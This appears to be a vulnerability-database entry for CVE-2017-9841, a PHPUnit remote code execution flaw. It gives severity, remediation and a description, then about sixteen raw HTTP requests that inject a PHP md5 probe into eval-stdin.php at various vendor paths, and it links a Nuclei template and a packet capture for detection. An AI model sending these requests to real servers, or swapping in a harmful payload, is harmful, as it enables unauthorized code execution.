🔙 목록으로 돌아가기

CVE-2017-9841: PHPUnit - Remote Code Execution

Title	PHPUnit - Remote Code Execution
Author	Random_Robbie,pikpikcu
Severity	Critical
Impact	Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
Remediation	Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
CVSS Score	9.8
EPSS Score	0.9421
CVE ID	CVE-2017-9841
CWE ID	CWE-94
Tags	cve2017 cve php phpunit rce kev phpunit_project vkev vuln

🔍 Vulnerability Description

PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a “<?php “ substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

🌐 HTTP Request

GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.9
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Thunderbird/140.0
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/5.0
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Content-Length: 34
Content-Type: text/html
Accept-Encoding: gzip

<?php echo md5("CVE-2017-9841");?>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9841.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-9841.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A